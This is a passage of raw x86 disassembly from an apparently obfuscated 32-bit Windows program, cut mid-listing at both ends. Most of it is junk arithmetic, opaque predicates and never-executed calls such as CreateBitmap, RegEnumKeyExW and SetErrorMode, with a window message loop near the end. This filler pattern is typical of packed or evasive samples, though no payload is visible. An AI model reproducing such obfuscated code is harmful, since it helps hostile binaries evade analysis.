and dword [ebp - 0xe78], 0
mov dword [ebp - 0xe60], 0x7d2ca1c
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x26f8]
cmp dword [ebp - 0xe60], eax
je 0x48fb92
mov dword [ebp - 0xe68], 1
jmp 0x48fb99
and dword [ebp - 0xe68], 0
mov eax, dword [ebp - 0x2520]
imul eax, dword [ebp - 0xe68]
test eax, eax
jne 0x48fbb6
mov dword [ebp - 0xe70], 1
jmp 0x48fbbd
and dword [ebp - 0xe70], 0
mov eax, dword [ebp - 0x2a4]
cmp dword [ebp - 0xe70], eax
jg 0x48fbda
cmp dword [ebp - 0x1c], 0
jne 0x48fbda
and dword [ebp - 0xe80], 0
jmp 0x48fbe4
mov dword [ebp - 0xe80], 1
mov eax, dword [ebp - 0xe78]
cmp eax, dword [ebp - 0xe80]
jg 0x48fbfe
mov dword [ebp - 0x2528], 1
jmp 0x48fc05
and dword [ebp - 0x2528], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c58], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x34b4], 0xb87b6ff5
jae 0x48fc2d
mov dword [ebp - 0xe88], 1
jmp 0x48fc34
and dword [ebp - 0xe88], 0
mov eax, dword [ebp - 0xbb8]
mov dword [ebp - 0x2530], eax
mov eax, dword [ebp - 0xe88]
mov dword [ebp - 0x2538], eax
mov eax, dword [ebp - 0xbb8]
inc eax
mov dword [ebp - 0xbb8], eax
mov eax, dword [ebp - 0x2530]
cmp eax, dword [ebp - 0x2538]
jl 0x48fc73
mov dword [ebp - 0xe90], 1
jmp 0x48fc7a
and dword [ebp - 0xe90], 0
mov eax, dword [ebp - 0xe90]
neg eax
mov dword [ebp - 0xbc0], eax
jmp 0x48faa5
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x26f8], 0
je 0x48fd6a
mov eax, dword [ebp - 0xe98]
sub eax, dword [ebp - 0x2540]
je 0x48fcd4
cmp dword [ebp - 0xe98], 0
je 0x48fcd4
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2204], 0
je 0x48fcd4
mov dword [ebp - 0xea0], 1
jmp 0x48fcdb
and dword [ebp - 0xea0], 0
mov eax, dword [ebp - 0xeb0]
cmp dword [ebp - 0xea0], eax
jle 0x48fcf5
mov dword [ebp - 0xea8], 1
jmp 0x48fcfc
and dword [ebp - 0xea8], 0
mov eax, dword [ebp - 0xbc0]
cmp dword [ebp - 0xea8], eax
jne 0x48fd16
mov dword [ebp - 0x2548], 1
jmp 0x48fd1d
and dword [ebp - 0x2548], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x26f8]
mov dword [ebp - 0x2c60], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2204]
mov dword [ebp - 0x2c68], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2204]
add eax, dword [ebp - 0xeb0]
cmp eax, dword [ebp - 0x2550]
je 0x48fd6a
mov dword [ebp - 0xeb8], 1
jmp 0x48fd71
and dword [ebp - 0xeb8], 0
mov eax, dword [ebp - 0xeb8]
mov dword [ebp - 0xbc0], eax
push dword [ebp - 0xbe0]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov dword [ebp - 0xa0], 0x79763266
mov dword [ebp - 0x470], 0x91e66c61
mov dword [ebp - 0x2570], 0xfffffffc
mov dword [ebp - 0x7f0], 0
jmp 0x48fdc0
mov eax, dword [ebp - 0x7f0]
inc eax
mov dword [ebp - 0x7f0], eax
cmp dword [ebp - 0x7f0], 2
jge 0x48fddc
mov eax, dword [ebp - 0x7f0]
mov dword [ebp + eax*4 - 0x21f4], 1
jmp 0x48fdb3
mov dword [ebp - 0xa0], 1
jmp 0x48fdf5
mov eax, dword [ebp - 0xa0]
dec eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0
jl 0x49034b
mov dword [ebp - 0x2ac], 5
mov dword [ebp - 0x800], 3
cmp dword [ebp - 0xa0], 0x9ebe1b0f
jge 0x48fe2e
mov dword [ebp - 0xbc8], 1
jmp 0x48fe35
and dword [ebp - 0xbc8], 0
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xbc8]
mov dword [ebp + eax*4 - 0x21f4], ecx
mov eax, dword [ebp - 0xbc8]
mov dword [ebp - 0x470], eax
mov eax, dword [ebp - 0x470]
imul eax, dword [ebp - 0xa0]
sub eax, dword [ebp - 0x2ac]
je 0x48fec5
cmp dword [ebp - 0x2ac], 0xcc1dab97
jbe 0x48fe81
mov dword [ebp - 0xec0], 1
jmp 0x48fe88
and dword [ebp - 0xec0], 0
mov eax, dword [ebp - 0x470]
cmp dword [ebp - 0xec0], eax
jg 0x48fea2
mov dword [ebp - 0x2558], 1
jmp 0x48fea9
and dword [ebp - 0x2558], 0
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp + eax*4 - 0x21f4]
mov dword [ebp - 0x2c70], eax
cmp dword [ebp - 0x2ac], 0
jne 0x48fed7
cmp dword [ebp - 0x2ac], 0
jne 0x48fed7
and dword [ebp - 0xec8], 0
jmp 0x48fee1
mov dword [ebp - 0xec8], 1
mov eax, dword [ebp - 0xa0]
cmp dword [ebp - 0xec8], eax
jl 0x48fefb
mov dword [ebp - 0xed0], 1
jmp 0x48ff02
and dword [ebp - 0xed0], 0
mov eax, dword [ebp - 0xa0]
cmp dword [ebp - 0xed0], eax
jge 0x48ff1c
mov dword [ebp - 0xed8], 1
jmp 0x48ff23
and dword [ebp - 0xed8], 0
mov eax, dword [ebp - 0x2ac]
cmp dword [ebp - 0xed8], eax
jg 0x490303
mov dword [ebp - 0x54c], 0xffffffff
mov dword [ebp - 0xf60], 0xbe495ee3
mov dword [ebp - 0x470], 1
jmp 0x48ff62
mov eax, dword [ebp - 0x470]
dec eax
mov dword [ebp - 0x470], eax
cmp dword [ebp - 0x470], 0
jl 0x490301
mov dword [ebp - 0x478], 0
cmp dword [ebp - 0x478], 1
jle 0x48ff8e
mov dword [ebp - 0x2560], 1
jmp 0x48ff95
and dword [ebp - 0x2560], 0
mov eax, dword [ebp - 0x54c]
mov dword [ebp - 0x2c78], eax
mov eax, dword [ebp - 0x54c]
mov dword [ebp - 0x2c80], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x21f4]
cmp dword [ebp - 0xa0], eax
jle 0x48ffce
mov dword [ebp - 0xee0], 1
jmp 0x48ffd5
and dword [ebp - 0xee0], 0
mov eax, dword [ebp - 0x54c]
cmp dword [ebp - 0xee0], eax
jge 0x48ffef
mov dword [ebp - 0xee8], 1
jmp 0x48fff6
and dword [ebp - 0xee8], 0
mov eax, dword [ebp - 0x54c]
cmp eax, dword [ebp - 0xee8]
jl 0x490010
mov dword [ebp - 0xef0], 1
jmp 0x490017
and dword [ebp - 0xef0], 0
mov eax, dword [ebp - 0x54c]
cmp dword [ebp - 0xef0], eax
jl 0x490031
mov dword [ebp - 0xef8], 1
jmp 0x490038
and dword [ebp - 0xef8], 0
cmp dword [ebp - 0xef8], 0x4e401d93
je 0x490074
mov dword [ebp - 0x2c88], 6
mov dword [ebp - 0x2c90], 0x442f2aa7
mov dword [ebp - 0xf00], 0xa1f1
mov eax, dword [ebp - 0xf00]
dec eax
mov dword [ebp - 0xf00], eax
jmp 0x4902fc
mov dword [ebp - 0xf30], 0xffffffff
mov dword [ebp - 0xf10], 0xfffffffe
mov dword [ebp - 0x7f8], 0
jmp 0x4900a1
mov eax, dword [ebp - 0x7f8]
inc eax
mov dword [ebp - 0x7f8], eax
cmp dword [ebp - 0x7f8], 1
jge 0x4900bd
mov eax, dword [ebp - 0x7f8]
mov dword [ebp + eax*4 - 0xf50], 0xfffffff9
jmp 0x490094
mov eax, dword [ebp - 0x800]
cmp dword [ebp - 0xf30], eax
jl 0x4900d7
mov dword [ebp - 0x2568], 1
jmp 0x4900de
and dword [ebp - 0x2568], 0
mov eax, dword [ebp - 0x800]
mov dword [ebp - 0x2c98], eax
mov eax, dword [ebp - 0xf60]
mov dword [ebp - 0x2ca0], eax
cmp dword [ebp - 0x54c], 0x87c631db
ja 0x49010e
mov dword [ebp - 0xf08], 1
jmp 0x490115
and dword [ebp - 0xf08], 0
mov eax, dword [ebp - 0xf08]
mov dword [ebp - 0xf10], eax
mov eax, dword [ebp - 0x478]
cmp dword [ebp - 0xf10], eax
jg 0x49013b
mov dword [ebp - 0xf18], 1
jmp 0x490142
and dword [ebp - 0xf18], 0
mov dword [ebp - 0x2ac], 1
mov eax, dword [ebp - 0x2ac]
cmp eax, dword [ebp - 0xf18]
jle 0x490166
mov dword [ebp - 0xf20], 1
jmp 0x49016d
and dword [ebp - 0xf20], 0
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x21f4], 1
cmp dword [ebp - 0xf20], 1
jg 0x490193
mov dword [ebp - 0xf28], 1
jmp 0x49019a
and dword [ebp - 0xf28], 0
imul eax, dword [ebp - 0xf28], 6
add eax, dword [ebp - 0x478]
cmp eax, dword [ebp - 0xf30]
je 0x4901bb
mov dword [ebp - 0xf38], 1
jmp 0x4901c2
and dword [ebp - 0xf38], 0
mov eax, dword [ebp - 0xf38]
neg eax
cmp eax, 1
jne 0x4901db
mov dword [ebp - 0xbd0], 1
jmp 0x4901e2
and dword [ebp - 0xbd0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xbd0]
mov dword [ebp + eax - 0xf50], ecx
mov eax, dword [ebp - 0x800]
cmp dword [ebp - 0xbd0], eax
jle 0x490215
jmp 0x48ff55
jmp 0x490318
mov dword [ebp - 0x2578], 0x6e4c1c17
cmp dword [ebp - 0x2578], 0
je 0x490318
jmp 0x49034b
mov byte [ebp - 0x3a9], 0
movzx eax, byte [ebp - 0x3a9]
test eax, eax
je 0x490346
push 0
push 0xee8
push 0x24ae
push 0x1e59
push 0x1398
call dword [sym.imp.GDI32.dll_CreateBitmap]
jmp 0x48fde8
mov eax, dword [ebp + 8]
inc eax
mov dword [ebp - 0x2580], eax
lea eax, [ebp - 0x2580]
push eax
push fcn.004777c5
lea ecx, [ebp - 0x28f4]
call fcn.00491e41
mov dword [ebp - 0x2b4], 0xe83c7730
mov dword [ebp - 0xf88], 0x72ba
mov dword [ebp - 0x25a0], 0xed0f12af
mov dword [ebp - 0x1008], 0x16511c25
mov dword [ebp - 0x2590], 0x3925b974
mov dword [ebp - 0x554], 2
mov dword [ebp - 0x2ca8], 0x46a6f4da
mov dword [ebp - 0x2cb0], 0xe1b460d5
mov dword [ebp - 0x808], 0
jmp 0x4903d5
mov eax, dword [ebp - 0x808]
inc eax
mov dword [ebp - 0x808], eax
cmp dword [ebp - 0x808], 1
jge 0x4903f1
mov eax, dword [ebp - 0x808]
mov dword [ebp + eax*4 - 0x2598], 0xffffffff
jmp 0x4903c8
cmp dword [ebp - 0x2b4], 1
je 0x490609
mov dword [ebp - 0x810], 0x9dbe
mov dword [ebp - 0x644], 0xfffffffa
mov eax, dword [ebp - 0x810]
mov dword [ebp - 0x2cb8], eax
cmp dword [ebp - 0x2b4], 0
jge 0x490433
mov dword [ebp - 0x2588], 1
jmp 0x49043a
and dword [ebp - 0x2588], 0
mov eax, dword [ebp - 0x810]
mov dword [ebp - 0x2cc0], eax
cmp dword [ebp - 0x2b4], 0
je 0x490464
mov eax, 0xbb7a
test eax, eax
je 0x490464
mov dword [ebp - 0xf80], 1
jmp 0x49046b
and dword [ebp - 0xf80], 0
mov eax, dword [ebp - 0x2b4]
cmp dword [ebp - 0xf80], eax
jle 0x490485
mov dword [ebp - 0xf90], 1
jmp 0x49048c
and dword [ebp - 0xf90], 0
mov dword [ebp - 0xf88], 0xc9eb
mov eax, dword [ebp - 0xf88]
cmp eax, dword [ebp - 0xf90]
jle 0x4904b0
mov dword [ebp - 0xf98], 1
jmp 0x4904b7
and dword [ebp - 0xf98], 0
cmp dword [ebp - 0xf98], 0xc895
jg 0x4904cf
mov dword [ebp - 0xfa0], 1
jmp 0x4904d6
and dword [ebp - 0xfa0], 0
mov eax, dword [ebp - 0x2b4]
add eax, dword [ebp - 0xfa0]
cmp eax, dword [ebp - 0x2b4]
jge 0x4904f6
mov dword [ebp - 0xfa8], 1
jmp 0x4904fd
and dword [ebp - 0xfa8], 0
mov eax, dword [ebp - 0x2b4]
cmp eax, dword [ebp - 0xfa8]
jg 0x49051d
cmp dword [ebp - 0x810], 0
jne 0x49051d
and dword [ebp - 0xfb0], 0
jmp 0x490527
mov dword [ebp - 0xfb0], 1
mov eax, dword [ebp - 0xfb0]
add eax, 0x8700
je 0x490549
mov eax, 0xc0e07525
test eax, eax
je 0x490549
mov dword [ebp - 0xfb8], 1
jmp 0x490550
and dword [ebp - 0xfb8], 0
mov eax, dword [ebp - 0x810]
cmp dword [ebp - 0xfb8], eax
jge 0x49056a
mov dword [ebp - 0xfc0], 1
jmp 0x490571
and dword [ebp - 0xfc0], 0
mov eax, dword [ebp - 0x2b4]
cmp dword [ebp - 0xfc0], eax
jl 0x49058b
mov dword [ebp - 0xfc8], 1
jmp 0x490592
and dword [ebp - 0xfc8], 0
mov eax, dword [ebp - 0xfc8]
mov dword [ebp - 0x644], eax
mov dword [ebp - 0x644], 0x1a
jmp 0x4905b7
mov eax, dword [ebp - 0x644]
inc eax
mov dword [ebp - 0x644], eax
cmp dword [ebp - 0x644], 0x1a
je 0x490604
mov dword [ebp - 0xfd0], 0xcc19
mov byte [ebp - 0x2c7], 0
movzx eax, byte [ebp - 0x2c7]
test eax, eax
je 0x4905f5
push 0
push 0
push 0
push 0
push 0
push 0
push 0xdb8
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov eax, dword [ebp - 0xfd0]
inc eax
mov dword [ebp - 0xfd0], eax
jmp 0x4905aa
jmp 0x490777
mov dword [ebp - 0xff0], 0xd77dfcc8
mov dword [ebp - 0x2cc8], 0x253674f9
mov dword [ebp - 0x2cd0], 6
mov dword [ebp - 0x2cd8], 6
mov dword [ebp - 0x2ce0], 0
mov dword [ebp - 0xbd8], 0xd67
mov dword [ebp - 0x818], 0
jmp 0x49065e
mov eax, dword [ebp - 0x818]
inc eax
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x818], 2
jge 0x49067a
mov eax, dword [ebp - 0x818]
mov dword [ebp + eax*4 - 0x3590], 0xc7a429ad
jmp 0x490651
mov eax, dword [ebp - 0xbd8]
inc eax
mov dword [ebp - 0xbd8], eax
mov eax, dword [ebp - 0xbd8]
cmp dword [ebp - 0xff0], eax
jne 0x4906a1
mov dword [ebp - 0xfd8], 1
jmp 0x4906a8
and dword [ebp - 0xfd8], 0
mov eax, dword [ebp - 0xfd8]
mov dword [ebp - 0x554], eax
mov eax, dword [ebp - 0x554]
dec eax
cmp eax, dword [ebp - 0x1008]
jg 0x4906cf
mov dword [ebp - 0xfe0], 1
jmp 0x4906d6
and dword [ebp - 0xfe0], 0
cmp dword [ebp - 0xfe0], 0xf00f3bc9
ja 0x4906eb
cmp dword [ebp - 0x2590], 0
jne 0x490704
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2598], 0
jne 0x490704
and dword [ebp - 0xfe8], 0
jmp 0x49070e
mov dword [ebp - 0xfe8], 1
cmp dword [ebp - 0xfe8], 0x2406
jl 0x490726
mov dword [ebp - 0xff8], 1
jmp 0x49072d
and dword [ebp - 0xff8], 0
mov eax, dword [ebp - 0xff0]
cmp eax, dword [ebp - 0xff8]
jg 0x490747
mov dword [ebp - 0x1000], 1
jmp 0x49074e
and dword [ebp - 0x1000], 0
mov eax, dword [ebp - 0x1000]
mov dword [ebp - 0x1008], eax
mov byte [ebp - 0x337], 0
movzx eax, byte [ebp - 0x337]
test eax, eax
je 0x490777
push 0xf3a
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov dword [ebp - 0x554], 0
jmp 0x490790
mov eax, dword [ebp - 0x554]
dec eax
mov dword [ebp - 0x554], eax
cmp dword [ebp - 0x554], 0xffffffee
jne 0x4907a5
mov dword [ebp - 0x25a0], 0xfeddd8d7
jmp 0x490783
push 0
push 0
push 0
lea eax, [ebp - 0x37b0]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x490889
push 0
push 0
push 0x10
push dword [ebp - 0xbe0]
call dword [sym.imp.USER32.dll_SendMessageW]
lea ecx, [ebp - 0x28f4]
call fcn.00477760
mov dword [ebp - 0x828], 1
mov dword [ebp - 0x820], 0
jmp 0x490800
mov eax, dword [ebp - 0x820]
inc eax
mov dword [ebp - 0x820], eax
cmp dword [ebp - 0x820], 2
jge 0x49081c
mov eax, dword [ebp - 0x820]
mov dword [ebp + eax*4 - 0x35a0], 0
jmp 0x4907f3
mov dword [ebp - 0x828], 0xfffffff6
jmp 0x490835
mov eax, dword [ebp - 0x828]
inc eax
mov dword [ebp - 0x828], eax
cmp dword [ebp - 0x828], 0x1a
jg 0x490882
mov dword [ebp - 0x830], 0xeede0b40
mov dword [ebp - 0x830], 0
jmp 0x490861
mov eax, dword [ebp - 0x830]
dec eax
mov dword [ebp - 0x830], eax
cmp dword [ebp - 0x830], 0xfffffffa
je 0x490880
mov dword [ebp - 0x25a8], 0x7fbf2121
mov dword [ebp - 0x25a8], 0x3c891c55
jmp 0x490854
jmp 0x490828
jmp 0x490889
mov dword [ebp - 0x14], 0xf4a8b108
mov dword [ebp - 0x2bc], 0xffffffff
mov dword [ebp - 0x480], 0x52280335
mov dword [ebp - 0x55c], 0xffffffff
mov dword [ebp - 0x2ce8], 0xa93f0451
cmp dword [ebp - 0x14], 0
je 0x4908d0
cmp dword [ebp - 0x14], 0
je 0x4908d0
mov dword [ebp - 0x1010], 1
jmp 0x4908d7
and dword [ebp - 0x1010], 0
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x1010]
neg eax
cmp eax, dword [ebp - 0x14]
jle 0x4908f3
mov dword [ebp - 0x1018], 1
jmp 0x4908fa
and dword [ebp - 0x1018], 0
cmp dword [ebp - 0x1018], 0xffff
jne 0x490912
mov dword [ebp - 0x1020], 1
jmp 0x490919
and dword [ebp - 0x1020], 0
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x1020]
cmp eax, dword [ebp - 0x14]
jl 0x490933
mov dword [ebp - 0x1028], 1
jmp 0x49093a
and dword [ebp - 0x1028], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x1028], eax
jl 0x490951
mov dword [ebp - 0x1030], 1
jmp 0x490958
and dword [ebp - 0x1030], 0
mov eax, dword [ebp - 0x1030]
mov dword [ebp - 0x2bc], eax
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x2cf0], eax
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x480], eax
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x480], eax
jle 0x490993
mov dword [ebp - 0x25b0], 1
jmp 0x49099a
and dword [ebp - 0x25b0], 0
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x55c], eax
mov eax, dword [ebp - 0x55c]
imul eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jne 0x4909c1
mov dword [ebp - 0x25b8], 1
jmp 0x4909c8
and dword [ebp - 0x25b8], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2cf8], eax
cmp dword [ebp - 0x480], 0
cmp dword [ebp - 0x14], 0x9c21
jg 0x4909ed
mov dword [ebp - 0x1038], 1
jmp 0x4909f4
and dword [ebp - 0x1038], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x1038], eax
jge 0x490a0b